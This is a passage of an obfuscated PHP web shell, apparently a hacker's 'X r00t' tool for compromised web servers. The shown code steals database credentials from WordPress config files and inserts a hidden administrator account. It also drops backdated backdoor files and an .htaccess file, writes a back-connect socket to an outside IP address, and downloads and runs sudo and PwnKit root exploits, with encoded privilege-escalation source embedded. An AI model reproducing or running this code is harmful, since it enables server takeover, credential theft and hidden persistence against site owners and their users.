str_replace($_SERVER["\104\x4f\103\125\115\x45\116\124\x5f\x52\117\117\x54"], '', $lapor13) . "\74\57\141\x3e"; echo "\x3c\x62\162\x3e\127\x50\72\40" . $folderio; } } $lapor8900 = $folderio . "\x2f\167\160\55\x63\157\156\146\x69\x67\56\160\150\x70"; if (file_exists($lapor8900)) { $cxz = fgt($lapor8900); preg_match("\x2f\x64\x65\x66\151\156\145\56\52\104\x42\x5f\x4e\x41\x4d\105\56\x2a\47\50\x2e\52\x29\47\57", $cxz, $mxz); $dbname = $mxz[1]; preg_match("\x2f\144\145\146\x69\x6e\x65\56\52\104\x42\x5f\125\x53\x45\122\56\x2a\x27\50\x2e\x2a\x29\x27\57", $cxz, $mxz); $dbuser = $mxz[1]; preg_match("\57\144\x65\146\151\x6e\x65\x2e\52\104\102\x5f\x50\101\123\123\x57\117\122\104\x2e\x2a\x27\x28\x2e\x2a\x29\x27\57", $cxz, $mxz); $dbpass = $mxz[1]; preg_match("\57\144\x65\146\x69\156\x65\x2e\52\104\x42\x5f\110\x4f\123\124\x2e\x2a\x27\50\56\x2a\51\47\x2f", $cxz, $mxz); $dbhost = $mxz[1]; preg_match("\x2f\x74\x61\142\x6c\x65\x5f\x70\162\x65\146\x69\170\56\52\75\56\x2a\47\x28\x2e\x2a\51\x27\x2f", $cxz, $mxm); $table_prefix = $mxm[1]; if (isset($dbname)) { echo "\74\142\162\76\x44\x42\x20\x4e\x61\x6d\x65\x3a\40" . $dbname; echo "\40\55\40\x44\x42\x20\x48\x6f\x73\164\72\40" . $dbhost; echo "\74\x62\162\x3e\104\x42\x20\x55\163\145\x72\72\40" . $dbuser; echo "\x20\x2d\x20\104\x42\40\x50\x61\x73\163\72\x20" . $dbpass; } if (isset($table_prefix)) { $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($conn->connect_error) { echo ''; } else { $passw0rd = generateRandomString(); $sql = "\111\116\123\105\122\x54\x20\111\x4e\x54\117\x20" . $table_prefix . "\165\x73\x65\x72\163\x20\50\x49\104\54\40\x75\x73\x65\x72\x5f\x6c\157\x67\x69\156\x2c\40\x75\x73\145\x72\137\160\141\163\x73\x2c\x20\x75\163\145\162\x5f\156\151\143\145\156\x61\x6d\145\54\40\165\163\145\x72\137\145\155\141\151\154\x2c\x20\x75\163\x65\162\x5f\165\162\x6c\54\x20\x75\x73\145\x72\x5f\162\145\x67\x69\163\164\x65\162\145\x64\54\x20\165\163\145\x72\137\141\x63\164\151\166\141\x74\151\x6f\x6e\x5f\x6b\x65\x79\x2c\40\x75\x73\x65\162\x5f\x73\x74\x61\164\165\163\x2c\x20\x64\151\x73\160\154\x61\171\x5f\156\x61\155\145\51\x20\x56\x41\114\125\105\x53\x20\x28\x27\x39\x39\70\71\71\x27\x2c\x20\x27{$dbuser}\x27\x2c\x20\x4d\x44\x35\50\47" . $passw0rd . "\x27\x29\x2c\x20\47{$dbname}\47\54\40\47\x77\x61\x67\151\155\x61\x6e\x61\163\x65\153\100\x67\155\x61\x69\x6c\x2e\143\x6f\155\x27\54\40\47\x68\x74\164\x70\72\57\57\167\x77\167\56\x67\x6f\x6f\147\154\x65\x2e\143\157\155\x2f\47\54\x20\47\62\x30\61\70\55\x30\x36\x2d\x30\x37\40\x30\x30\72\60\60\x3a\60\x30\x27\x2c\x20\x27\x27\54\x20\47\x30\47\x2c\40\47{$dbname}\47\x29\x3b"; $sql .= "\111\x4e\x53\105\x52\124\40\x49\116\124\x4f\x20" . $table_prefix . "\165\163\x65\162\155\145\x74\x61\x20\x28\x75\155\145\x74\141\x5f\x69\x64\x2c\40\x75\x73\x65\x72\x5f\151\x64\54\40\155\x65\164\141\x5f\x6b\145\171\x2c\40\x6d\145\164\x61\137\166\141\154\x75\145\51\x20\x56\x41\114\x55\105\123\x20\x28\x4e\125\114\114\54\40\x27\71\x39\70\x39\x39\47\54\x20\47" . $table_prefix . "\143\x61\160\x61\x62\151\x6c\x69\x74\x69\x65\163\x27\54\40\47\x61\x3a\x31\72\x7b\163\72\x31\63\72\x22\x61\144\x6d\x69\x6e\151\x73\x74\162\141\164\x6f\x72\x22\x3b\163\x3a\61\x3a\42\x31\x22\x3b\175\47\51\73"; $sql .= "\111\x4e\123\105\122\x54\40\111\x4e\x54\x4f\40" . $table_prefix . "\165\163\x65\x72\155\145\164\141\x20\50\165\x6d\145\164\x61\x5f\151\x64\x2c\40\165\163\145\162\137\151\144\x2c\40\x6d\x65\x74\141\x5f\153\x65\x79\x2c\40\x6d\145\x74\141\x5f\x76\x61\x6c\165\145\x29\40\126\x41\114\125\105\123\40\50\116\x55\114\114\54\x20\47\71\x39\x38\x39\71\47\54\40\47" . $table_prefix . "\165\x73\x65\x72\x5f\154\x65\x76\x65\154\x27\54\x20\47\61\x30\x27\51\73"; if ($conn->multi_query($sql) === TRUE) { echo "\74\142\x72\x3e\x55\72\x20" . $dbname . "\40\x50\72\40" . $passw0rd; } $conn->close(); } } } } else { $i = 0; foreach (scandir($folderio) as $detailsfolder) { $nonwpfolder = $folderio . DIRECTORY_SEPARATOR . $detailsfolder; if (is_dir($nonwpfolder) and $detailsfolder != "\56" && $detailsfolder != "\56\56") { if (is_writable($nonwpfolder)) { if (file_exists($nonwpfolder . "\57\x2e\150\164\141\143\143\145\x73\163" && $nonwpfolder != "\x2d\x2e")) { chmod($nonwpfolder . "\57\56\x68\x74\x61\143\x63\145\x73\x73", 420); unlink($nonwpfolder . "\x2f\56\x68\x74\x61\143\143\145\x73\x73"); } if ($detailsfolder === "\x64\x6f\x63\163") { if (!is_dir($nonwpfolder . "\x2f\155\141\156\x75\141\154\57")) { mkdir($nonwpfolder . "\57\155\141\156\165\141\x6c\57", 493, true); } $lapor1 = $nonwpfolder . "\x2f\x6d\141\x6e\165\141\154\57\x69\156\144\x65\x78\x2e\160\x68\x70"; $report1 = fgt($resource1); file_put_contents($lapor1, $report1); @touch($lapor1, strtotime("\x2d" . rand(30, 90) . "\x20\x64\141\171\x73", time())); if (file_exists($lapor1) && filesize($lapor1) > 0) { echo "\x3c\141\40\150\162\145\x66\x3d\47\57\57" . $fullxx . str_replace($_SERVER["\104\x4f\103\x55\115\x45\x4e\x54\137\x52\x4f\117\x54"], '', $lapor1) . "\x27\x20\x74\x61\162\147\145\164\x3d\47\137\142\x6c\141\x6e\153\x27\76" . $fullxx . str_replace($_SERVER["\x44\117\103\x55\115\105\116\124\137\122\x4f\117\124"], '', "\57" . $lapor1) . "\x3c\57\141\x3e\x3c\142\x72\76"; } } if ($detailsfolder === "\x70\x75\142\x6c\x69\143") { if (!is_dir($nonwpfolder . "\x2f\x2e\x2e\x2e\x2f")) { mkdir($nonwpfolder . "\x2f\x2e\x2e\56\57", 493, true); } $lapor2 = $nonwpfolder . "\x2f\x2e\56\x2e\57\x69\156\144\x65\x78\56\160\150\160"; $report2 = fgt($resource1); file_put_contents($lapor2, $report2); @touch($lapor2, strtotime("\x2d" . rand(30, 90) . "\x20\144\x61\171\163", time())); if (file_exists($lapor2) && filesize($lapor2) > 0) { echo "\74\141\x20\x68\162\145\146\x3d\x27\x2f\x2f" . $fullxx . str_replace($_SERVER["\104\x4f\103\125\115\105\116\124\137\122\x4f\x4f\x54"], '', $lapor2) . "\x27\x20\164\x61\x72\147\x65\x74\75\47\137\x62\154\x61\x6e\153\47\76" . $fullxx . str_replace($_SERVER["\104\117\x43\125\x4d\105\x4e\x54\137\122\x4f\x4f\x54"], '', "\x2f" . $lapor2) . "\x3c\x2f\x61\x3e\x3c\142\x72\76"; } } if (is_array($itemsxz) || is_object($itemsxz)) { switch ($modeio) { case standard: $namafilenx = $enx0[array_rand($enx0)]; break; case cii: $namafilenx = $enx2[array_rand($enx2)]; break; case yii: $namafilenx = $enx3[array_rand($enx3)]; break; case ojs: $namafilenx = $enx4[array_rand($enx4)]; default: $namafilenx = $enx1[array_rand($enx1)]; } $lapor3 = $nonwpfolder . DIRECTORY_SEPARATOR . $namafilenx; if (!file_exists($lapor3)) { for ($i = 0; $i < count($itemsxz); $i++) { if ($i + 1 <= 11) { $getcontentsource = $itemsxz[$i]; $report3 = fgt($getcontentsource); file_put_contents($lapor3, $report3); } else { $key = array_rand($itemsxz); $getcontentsource = $itemsxz[$key]; $report3 = fgt($getcontentsource); file_put_contents($lapor3, $report3); } } if (file_exists($lapor3) && filesize($lapor3) > 0) { @touch($lapor3, strtotime("\x2d" . rand(30, 90) . "\40\x64\x61\171\x73", time())); @touch($nonwpfolder, strtotime("\x2d" . rand(30, 90) . "\40\144\x61\x79\x73", time())); chmod($lapor3, 420); echo "\x3c\141\40\150\162\145\146\x3d\47\57\57" . $fullxx . str_replace($_SERVER["\x44\x4f\x43\125\x4d\105\x4e\x54\x5f\x52\x4f\117\124"], '', $lapor3) . "\47\x20\x74\x61\x72\147\x65\x74\x3d\x27\x5f\x62\x6c\x61\156\153\47\76" . $fullxx . str_replace($_SERVER["\x44\x4f\x43\x55\115\x45\116\124\x5f\x52\117\x4f\124"], '', $lapor3) . "\74\x2f\141\76\74\x62\162\76"; } } } } } } } } $htaccessxz = $direktori . "\57\x2d\x2e\57\x2e\150\164\141\x63\x63\x65\x73\x73"; if (!file_exists($htaccessxz)) { $contentx = "\121\x57\x52\153\126\110\x6c\167\132\x53\102\150\143\x48\x42\x73\141\127\116\x68\144\x47\154\x76\142\151\71\x34\x4c\x57\x68\x30\144\x48\x42\x6b\114\130\x42\157\143\103\101\x75\x63\107\122\155\x43\x6b\x39\167\144\x47\154\166\142\x6e\x4d\x67\114\x55\x6c\165\132\107\126\64\x5a\x58\x4d\x4b\120\105\x5a\160\142\x47\x56\172\x54\127\106\x30\131\62\x67\147\111\151\x34\x71\130\103\x34\157\143\x48\154\70\x63\62\150\60\142\x57\x78\70\x63\107\x68\60\142\127\170\70\x63\107\150\x77\146\x46\102\x49\x55\x48\170\121\141\x48\x42\70\125\105\150\x77\146\x48\x42\111\x63\x48\x78\167\123\106\x42\70\143\107\150\121\146\106\x42\157\125\110\170\x77\141\110\x41\x31\x66\x48\x42\x6f\x63\x44\143\x70\112\x43\x49\x2b\x43\153\71\171\x5a\107\x56\x79\x49\105\x46\x73\x62\x47\71\63\114\105\122\154\142\156\x6b\113\122\x47\x56\165\x65\123\102\155\x63\x6d\x39\x74\111\107\106\x73\x62\101\x6f\x38\x4c\x30\x5a\160\142\x47\x56\x7a\124\x57\106\x30\x59\x32\147\53\103\152\x78\107\x61\x57\170\154\x63\x30\61\150\144\107\116\157\111\103\144\x65\x4b\107\154\165\x5a\107\x56\64\114\x6e\102\157\143\x48\x78\146\x63\155\x56\x77\x62\x33\112\60\x4c\156\102\x6f\143\x43\x6b\153\x4a\172\x34\x4b\124\63\112\153\x5a\130\111\x67\131\x57\170\163\142\x33\x63\x73\x5a\x47\126\165\x65\x51\x70\x42\x62\x47\170\x76\144\171\102\x6d\x63\x6d\x39\x74\111\x47\x46\x73\142\101\157\70\x4c\60\x5a\160\142\x47\x56\x7a\x54\x57\106\x30\x59\x32\x67\x2b"; $contentx = b64dd($contentx); @file_put_contents($htaccessxz, $contentx); } $soxx = $direktori . "\57\55\56\57\x69\156\144\145\x78\x2e\160\x68\160"; if (file_exists($soxx)) { unlink($soxx); } $src_ = ''; $src_ .= "\x3c\x3f\160\150\160\x20"; $src_ .= "\x73\x65\x74\x5f\x74\151\155\x65\x5f\154\151\x6d\x69\x74\50\60\x29\73\40\44\x69\x70\x3d\47\x35\x31\x2e\67\71\x2e\62\64\61\56\x31\x33\x33\47\73\x20\x24\160\157\162\164\x3d\65\64\x33\x33\73"; $src_ .= b64dd($sox); $src_ .= "\x20\77\76"; file_put_contents($soxx, $src_); @touch($soxx, strtotime("\55" . rand(30, 90) . "\40\x64\x61\x79\x73", time())); echo "\x3c\142\162\x3e\x50\x48\x50\x20\x53\x6f\x63\x6b\x65\164\x73\72\x20\74\141\40\x68\162\x65\146\75\x27\x2f\x2f" . $fullxx . str_replace($_SERVER["\104\117\103\x55\115\x45\x4e\124\x5f\122\117\x4f\124"], '', $soxx) . "\x27\x20\164\141\162\147\x65\x74\75\x27\x5f\142\154\x61\x6e\x6b\47\x3e" . $fullxx . str_replace($_SERVER["\x44\117\103\x55\x4d\x45\x4e\124\x5f\x52\x4f\117\124"], '', $soxx) . "\74\57\141\76\x3c\142\x72\x3e"; echo "\74\57\x63\x6f\144\x65\76"; } } elseif (isset($_GET[hex("\62\x30\61\66")])) { echo "\74\x62\x72\76\74\142\x72\76\74\x63\x65\x6e\164\x65\162\76\x3c\x68\x32\x3e\130\40\x72\60\60\164\x20\x32\60\x31\x36\x20\x65\x78\x70\x4c\x6f\x3c\x2f\150\x32\x3e\x3c\x62\162\76"; echo "\123\x68\145\154\x6c\x20\x43\x6f\155\x6d\141\156\x64\72\40{$check_system}\40\74\x2f\142\162\x3e\x3c\57\x62\x72\x3e"; echo "\74\142\162\76\x3c\142\x72\76\74\146\x6f\162\155\40\155\145\164\150\157\144\75\x27\x50\117\x53\x54\47\x20\x61\x63\x74\x69\x6f\156\75\x27\x27\76\12\x9\x9\11\11\x3c\x69\156\x70\x75\x74\x20\x74\171\x70\145\75\x27\163\x75\x62\155\x69\x74\47\40\x63\x6c\x61\163\163\75\x27\142\164\156\40\x62\x74\x6e\55\x64\141\x6e\147\145\162\x20\142\x74\x6e\55\154\x67\x27\40\x6e\x61\x6d\145\x3d\47\162\x30\60\164\x78\47\40\x76\141\x6c\x75\x65\x3d\x27\110\x41\x4a\x41\x52\x20\115\101\x53\132\105\x45\x48\41\47\76\x3c\x2f\x69\156\160\165\x74\x3e\12\x9\x9\11\74\57\146\x6f\162\155\x3e\74\x2f\143\x65\x6e\164\x65\x72\76"; if (isset($_POST["\162\60\x30\x74\170"])) { $worawit = fgt("\150\164\164\x70\163\x3a\x2f\x2f\147\151\164\150\165\x62\56\143\x6f\x6d\x2f\x6e\157\156\x67\x69\141\x63\150\x2f\x73\165\144\x6f\x5f\x69\x6e\x6a\x65\143\x74\x2f\162\141\x77\x2f\x6d\x61\163\164\x65\x72\x2f\145\170\x70\154\157\x69\164\x5f\x76\63\x2e\x73\x68"); file_put_contents("\x73\165\160\x72\145\155\x65", $worawit); chmod("\163\165\160\x72\145\155\145", 493); $ret_val = exec("\56\x2f\x73\x75\160\x72\145\155\x65\x20\62\76\x26\61", $output); echo "\74\x74\145\170\x74\141\162\x65\x61\x20\x72\x65\x61\144\157\x6e\154\x79\76"; print_r($output); echo "\x3c\57\x74\x65\x78\164\x61\x72\x65\x61\76"; @unlink("\x73\165\160\162\x65\155\x65"); } } elseif (isset($_GET[hex("\63\61\65\66")])) { echo "\74\x62\162\76\x3c\142\x72\x3e\74\143\x65\156\164\x65\162\76\74\x68\x32\76\130\x20\x72\60\x30\164\40\63\x31\x35\x36\40\145\170\160\x4c\x6f\x3c\x2f\x68\62\76\74\x62\162\76"; echo "\x53\150\x65\154\x6c\x20\x43\157\155\x6d\x61\x6e\x64\72\x20{$check_system}\40\174\40\120\131\x54\x48\117\116\72\40{$python}\x3c\x2f\142\x72\76\x3c\57\142\162\x3e"; echo "\x3c\142\x72\x3e\74\142\162\76\x3c\146\x6f\x72\x6d\40\x6d\145\x74\x68\x6f\x64\75\47\x50\x4f\x53\x54\x27\x20\141\143\164\x69\x6f\156\75\x27\x27\76\12\11\11\11\11\x3c\x69\156\160\165\x74\40\x74\x79\x70\x65\x3d\47\163\165\142\x6d\151\x74\x27\40\143\x6c\141\x73\x73\75\x27\x62\164\x6e\40\x62\x74\156\55\144\x61\x6e\147\x65\x72\x20\142\x74\x6e\55\x6c\147\x27\40\x6e\141\155\145\x3d\47\162\x30\x30\164\170\47\40\x76\x61\154\x75\145\x3d\x27\110\101\112\x41\x52\40\115\101\123\x5a\x45\105\110\x21\x27\x3e\x3c\57\151\156\x70\165\164\x3e\12\11\11\11\74\57\x66\x6f\x72\155\x3e\74\57\143\x65\156\164\145\x72\x3e"; if (isset($_POST["\x72\x30\x30\x74\170"])) { $worawit = fgt("\x68\x74\x74\x70\x73\72\57\x2f\x67\151\x74\x68\x75\142\56\143\x6f\x6d\57\167\x6f\x72\x61\167\151\164\x2f\x43\126\x45\55\62\x30\62\61\x2d\63\61\x35\x36\x2f\x72\141\x77\57\x6d\141\x69\x6e\57\145\170\160\154\157\151\164\x5f\165\x73\145\x72\163\x70\145\143\56\160\171"); file_put_contents("\x73\165\x70\x72\x65\155\145", $worawit); chmod("\x73\165\x70\x72\145\x6d\x65", 493); $ret_val = exec("\160\171\164\x68\x6f\x6e\x20\163\165\x70\x72\x65\x6d\145\40\62\76\46\x31", $output); echo "\74\164\145\170\x74\x61\x72\x65\141\40\162\145\x61\144\x6f\156\154\171\76"; print_r($output); echo "\x3c\x2f\x74\145\170\x74\141\x72\x65\x61\x3e"; @unlink("\x73\165\160\x72\145\155\x65"); } } elseif (isset($_GET[hex("\64\x30\x33\64")])) { ExploitermenU($d); function mari_rootc() { $privesc = "\x4c\171\x6f\x4b\x49\x43\157\x67\x55\x48\112\166\142\x32\131\x67\142\x32\x59\147\x51\62\x39\165\x59\62\x56\x77\144\103\102\155\x62\63\x49\147\125\110\144\x75\123\62\154\60\x4f\x69\x42\x4d\142\62\116\150\x62\x43\102\x51\143\155\x6c\x32\x61\127\170\x6c\x5a\62\x55\147\122\130\x4e\152\131\127\x78\x68\x64\x47\154\x76\142\x69\102\127\x64\x57\x78\165\x5a\130\112\150\x59\155\x6c\x73\141\130\x52\x35\111\105\122\160\x63\62\x4e\166\144\155\126\x79\132\x57\x51\x67\x61\x57\x34\147\143\x47\71\163\x61\x32\154\60\64\x6f\103\132\x63\171\x42\167\x61\62\x56\x34\132\127\x4d\147\113\105\116\x57\122\123\x30\x79\x4d\x44\111\x78\114\124\121\167\x4d\x7a\x51\160\x49\107\x4a\65\x49\x45\106\165\x5a\x48\112\x70\x63\171\x42\x53\x59\130\126\x6e\x64\127\170\x70\143\171\101\70\x62\127\x39\166\x51\107\x46\171\144\107\x68\154\143\110\116\65\114\x6d\x56\x31\120\147\x6f\147\113\151\102\102\132\x48\x5a\x70\143\62\71\x79\145\x54\x6f\x67\x61\110\x52\x30\x63\x48\x4d\x36\x4c\x79\71\x69\x62\107\x39\x6e\114\156\x46\61\131\x57\170\x35\x63\171\65\x6a\142\62\60\x76\144\156\126\x73\x62\155\126\x79\x59\127\x4a\160\x62\107\154\60\141\x57\x56\172\x4c\x58\122\x6f\x63\155\126\150\x64\x43\x31\171\132\x58\116\x6c\131\130\x4a\152\x61\x43\70\171\x4d\104\x49\171\114\172\101\x78\x4c\172\111\x31\114\x33\102\x33\x62\x6d\164\160\x64\103\61\163\142\62\116\x68\142\103\x31\167\x63\x6d\x6c\x32\x61\127\x78\154\132\62\x55\x74\132\x58\116\x6a\131\x57\170\x68\x64\x47\154\x76\142\151\61\62\144\127\170\165\x5a\x58\x4a\150\x59\155\154\x73\141\130\x52\65\114\127\122\160\143\x32\116\166\x64\x6d\126\x79\132\127\x51\164\x61\127\64\164\x63\107\x39\x73\x61\x32\x6c\60\x63\171\61\167\x61\62\126\64\x5a\127\x4d\x74\x59\x33\x5a\x6c\x4c\x54\111\167\x4d\x6a\x45\164\x4e\104\x41\172\116\101\x6f\147\113\x69\x38\113\111\x32\x6c\165\x59\62\x78\x31\132\x47\x55\x67\x50\110\x4e\60\132\x47\x6c\x76\114\155\x67\x2b\x43\x69\116\x70\x62\155\116\x73\x64\x57\x52\154\x49\104\x78\x7a\x64\x47\x52\x73\x61\x57\x49\165\x61\x44\x34\x4b\x49\62\154\165\x59\62\x78\61\x5a\x47\125\x67\120\110\x56\165\141\130\x4e\60\132\x43\x35\x6f\x50\x67\157\x4b\x59\x32\x68\150\x63\x69\x41\161\x63\62\150\x6c\142\x47\x77\x67\120\x53\101\113\103\x53\x49\152\141\127\x35\x6a\142\110\126\x6b\132\123\101\70\x63\63\x52\x6b\141\127\x38\165\x61\x44\x35\x63\142\x69\x49\x4b\x43\123\111\152\x61\127\65\152\x62\110\x56\x6b\x5a\123\101\x38\x63\63\x52\x6b\142\107\154\151\x4c\x6d\x67\53\x58\107\x34\x69\103\147\153\x69\111\62\154\x75\131\x32\170\61\132\x47\125\147\x50\110\x56\165\141\130\116\x30\x5a\x43\65\157\120\x6c\170\165\x58\107\64\x69\103\x67\x6b\151\144\155\x39\160\x5a\x43\102\x6e\131\x32\71\165\x64\x69\x67\160\111\x48\x74\71\130\107\x34\151\103\147\x6b\x69\144\x6d\71\160\x5a\103\102\x6e\x59\62\71\165\x64\154\71\x70\142\155\x6c\x30\x4b\103\x6b\x67\145\61\170\x75\x49\x67\x6f\x4a\111\x67\x6c\x7a\x5a\x58\x52\61\x61\x57\121\157\x4d\103\153\67\x49\x48\x4e\154\144\107\x64\160\x5a\103\x67\x77\113\x54\x74\143\142\x69\x49\x4b\103\x53\x49\112\143\x32\126\x30\132\x58\x56\160\132\103\147\167\113\124\x73\147\143\x32\x56\60\132\x57\x64\160\132\103\147\167\x4b\x54\x74\143\x62\x69\x49\x4b\103\123\x49\112\x63\x33\154\172\144\107\x56\x74\x4b\x46\167\x69\132\130\150\x77\142\63\112\x30\111\x46\x42\x42\x56\x45\147\71\x4c\63\x56\x7a\143\x69\x39\163\142\x32\x4e\x68\x62\x43\x39\172\x59\x6d\154\x75\117\x69\71\61\143\63\x49\x76\x62\107\x39\152\131\x57\x77\166\131\x6d\154\165\117\151\x39\61\143\63\x49\x76\x63\x32\x4a\160\142\x6a\x6f\x76\144\130\116\171\x4c\x32\112\160\x62\x6a\157\x76\143\x32\x4a\160\142\x6a\x6f\x76\131\155\154\165\117\171\x42\x79\x62\x53\101\x74\143\x6d\x59\x67\112\x30\x64\x44\124\60\65\x57\130\x31\102\x42\x56\105\x67\x39\x4c\x69\143\147\112\x33\102\63\142\x6d\164\160\144\x43\x63\67\x49\x47\116\157\142\x33\144\x75\x49\x48\x4a\166\142\x33\x51\66\143\155\x39\166\x64\103\x42\164\131\126\x4a\160\117\x79\102\152\x61\107\61\166\132\103\x41\60\x4e\x7a\x63\63\x49\x47\61\x68\125\155\153\67\111\103\x39\151\141\127\64\x76\x63\62\x68\143\x49\151\153\67\x58\x47\x34\x69\x43\147\x6b\x69\103\x57\126\64\141\130\121\157\115\x43\153\x37\130\x47\64\151\x43\147\x6b\x69\x66\123\111\x37\103\147\160\152\141\x47\x46\171\111\x43\160\156\132\x58\x52\x79\x62\x32\x39\60\111\104\x30\147\x43\147\153\x69\111\62\154\165\x59\x32\170\x31\x5a\107\x55\147\x50\110\126\x75\141\x58\x4e\x30\132\x43\x35\x6f\120\x6c\x78\x75\x49\147\157\112\111\x69\116\160\x62\x6d\116\x73\144\127\x52\154\x49\104\x78\172\144\x47\122\x70\142\171\x35\x6f\x50\154\x78\x75\x49\x67\157\x4a\111\155\154\165\144\x43\102\164\131\127\154\165\111\103\x68\62\142\62\154\153\113\126\x78\x75\111\147\x6f\112\111\x6e\164\143\142\151\111\x4b\103\x53\x49\x4a\x63\62\126\60\132\x32\154\153\113\x44\x41\160\117\61\x78\x75\x49\147\157\112\111\147\x6c\x7a\132\x58\x52\x31\141\x57\x51\x6f\115\x43\x6b\67\130\x47\64\151\x43\147\x6b\151\x43\130\x4e\x35\143\63\x52\x6c\142\x53\x68\x63\x49\x69\71\x69\141\x57\x34\x76\131\x6d\x46\x7a\x61\x46\167\151\x4b\x54\x74\143\142\151\111\113\x43\x53\x49\x4a\143\x6d\x56\x30\144\x58\112\x75\x49\104\101\67\x58\x47\x34\151\103\147\153\x69\x66\123\x49\x37\103\147\x70\x70\x62\x6e\121\147\142\127\x46\x70\142\x69\150\160\142\x6e\x51\147\x59\130\112\x6e\x59\x79\x77\x67\131\62\x68\150\143\151\101\x71\x59\x58\x4a\156\x64\154\x74\144\x4b\123\102\x37\x43\147\x6c\x47\x53\125\170\x46\x49\103\x70\155\x63\x44\x73\113\x43\125\x5a\112\x54\x45\x55\147\x4b\155\x64\x79\117\x77\x6f\x4a\x63\x33\x6c\x7a\x64\107\x56\x74\x4b\103\112\164\x61\62\x52\x70\143\151\101\164\143\x43\x41\156\x52\60\116\x50\124\x6c\132\x66\125\x45\x46\125\x53\x44\x30\x75\112\x7a\163\x67\x64\x47\x39\x31\x59\x32\x67\x67\x4a\x30\144\x44\124\60\65\x57\130\61\x42\x42\x56\x45\147\71\x4c\x69\71\167\144\62\x35\x72\x61\130\121\156\117\x79\x42\152\x61\107\61\x76\132\103\102\150\113\63\147\147\x4a\60\144\104\x54\x30\x35\x57\130\61\x42\102\x56\x45\147\71\114\151\71\x77\144\62\65\162\141\130\121\156\111\151\x6b\67\103\x67\154\x7a\145\130\x4e\x30\132\127\x30\x6f\x49\x6d\61\162\x5a\x47\154\171\111\103\61\x77\x49\x48\102\x33\142\155\x74\160\144\x44\x73\x67\x5a\127\116\157\x62\171\101\156\x62\127\71\x6b\x64\x57\x78\x6c\111\106\126\125\122\x69\x30\64\x4c\171\x38\x67\x55\106\144\x4f\123\60\154\x55\114\171\x38\147\143\x48\x64\x75\x61\x32\154\x30\111\x44\111\x6e\x49\x44\64\147\x63\110\144\165\141\62\x6c\x30\x4c\62\x64\x6a\x62\x32\65\62\x4c\127\x31\x76\132\x48\x56\163\x5a\130\115\151\x4b\124\x73\x4b\x43\x57\132\x77\111\104\60\x67\x5a\x6d\71\x77\132\127\64\x6f\111\156\102\63\x62\155\x74\x70\144\103\x39\x77\144\x32\65\162\141\130\121\x75\131\x79\x49\163\x49\103\x4a\63\x49\x69\153\67\103\x67\x6c\155\143\x48\112\x70\x62\156\x52\x6d\x4b\107\132\167\114\103\101\151\112\x58\x4d\x69\114\x43\x42\172\x61\x47\126\163\x62\x43\x6b\x37\x43\x67\154\155\131\62\170\x76\x63\62\125\157\x5a\x6e\x41\160\x4f\167\157\113\x43\127\x64\171\x49\x44\60\x67\x5a\x6d\71\167\x5a\127\x34\157\111\x6d\x64\154\144\110\x4a\x76\142\63\x51\165\131\x79\x49\163\x49\103\x4a\63\111\151\x6b\67\x43\147\154\x6d\x63\110\112\x70\x62\x6e\x52\155\x4b\107\144\171\114\103\x41\151\112\130\x4d\151\x4c\103\x42\156\132\x58\122\171\x62\62\x39\x30\x4b\x54\163\113\103\127\x5a\152\x62\107\71\x7a\x5a\123\x68\x6e\x63\x69\153\67\103\x67\x6f\x4a\143\x33\154\172\144\x47\126\x74\113\103\112\x6e\131\x32\115\x67\x5a\62\x56\x30\143\x6d\x39\166\144\103\x35\x6a\111\x43\x31\x76\x49\107\61\150\x55\155\x6b\x69\113\124\x73\x4b\x43\147\154\x7a\145\x58\116\x30\132\x57\60\x6f\111\x6d\x64\152\x59\171\x42\167\x64\62\65\x72\x61\x58\121\x76\143\x48\144\x75\141\x32\x6c\60\x4c\x6d\x4d\x67\x4c\x57\70\147\143\110\144\x75\141\62\154\60\x4c\x33\x42\63\x62\x6d\164\x70\144\103\x35\x7a\142\x79\101\x74\143\62\150\150\143\x6d\x56\153\x49\103\x31\x6d\125\x45\154\x44\111\151\153\67\x43\147\154\x6a\x61\x47\x46\x79\x49\103\x70\x6c\142\156\x5a\142\130\123\x41\x39\x49\110\x73\147\111\x6e\x42\63\142\155\164\160\x64\103\x49\163\x49\x43\x4a\x51\x51\126\x52\111\120\125\144\x44\124\x30\x35\127\x58\61\102\102\x56\105\x67\x39\114\151\111\163\x49\103\112\104\x53\x45\106\123\125\60\126\125\120\126\102\x58\x54\153\x74\112\x56\x43\x49\x73\111\x43\112\x54\x53\105\x56\x4d\x54\104\x31\x77\x64\x32\x35\162\x61\130\121\x69\x4c\103\x42\x4f\x56\125\170\x4d\x49\110\x30\x37\x43\147\x6c\154\x65\x47\x56\x6a\144\x6d\x55\157\111\x69\x39\x31\143\x33\111\166\x59\x6d\154\165\114\x33\102\162\132\130\x68\154\131\171\x49\x73\111\103\150\x6a\141\x47\x46\x79\x4b\x6c\164\144\x4b\x58\x74\x4f\x56\125\170\x4d\146\123\167\x67\132\127\65\x32\x4b\124\x73\x4b\x66\121\x3d\x3d"; $fp = file_put_contents("\x70\162\x76\145\163\143\x2e\x63", b64dd($privesc)); return True; } function r00t_py() { $rootshell = "\111\x79\x45\x76\131\155\x6c\x75\114\63\x42\65\x64\x47\x68\x76\142\x67\157\x6a\111\103\x30\x71\114\123\102\x6a\x62\62\122\x70\142\155\x63\x36\x49\x48\126\x30\132\151\60\x34\x49\103\60\x71\114\121\x70\x6d\x63\x6d\x39\x74\x49\103\x41\x67\111\x48\116\x31\131\x6e\x42\171\x62\x32\116\x6c\143\63\115\x67\x61\x57\x31\167\142\x33\112\x30\x49\x46\x42\166\x63\x47\x56\165\x4c\x43\x42\x51\x53\126\102\106\114\103\102\124\x56\x45\122\x50\x56\126\x51\113\141\x57\x31\167\x62\63\112\x30\111\x43\102\60\141\127\61\x6c\x43\x6d\x6c\164\x63\x47\x39\x79\x64\x43\x41\x67\x62\63\115\x4b\141\127\x31\167\142\x33\x4a\x30\x49\103\102\172\145\x58\115\113\x49\x41\160\154\x65\110\x42\x73\142\62\154\60\111\x44\60\147\x4a\171\64\166\142\x57\x46\x53\x61\x53\143\x4b\131\x32\61\153\143\171\x41\147\x49\103\101\x39\x49\x48\116\65\143\171\x35\150\143\155\x64\62\x57\x7a\106\x64\x43\x69\x41\113\143\x43\x41\x39\x49\x46\x42\x76\143\x47\126\165\x4b\106\x74\x6c\145\x48\102\x73\142\x32\154\60\114\103\101\x6e\x4a\x31\x30\x73\x49\110\116\60\132\107\71\61\x64\104\61\121\123\126\x42\x46\114\103\102\x7a\144\107\122\160\x62\152\x31\121\123\x56\x42\106\114\x43\x42\x7a\144\x47\x52\x6c\143\156\111\71\125\x31\122\105\124\x31\126\125\x4b\121\160\x77\143\155\x6c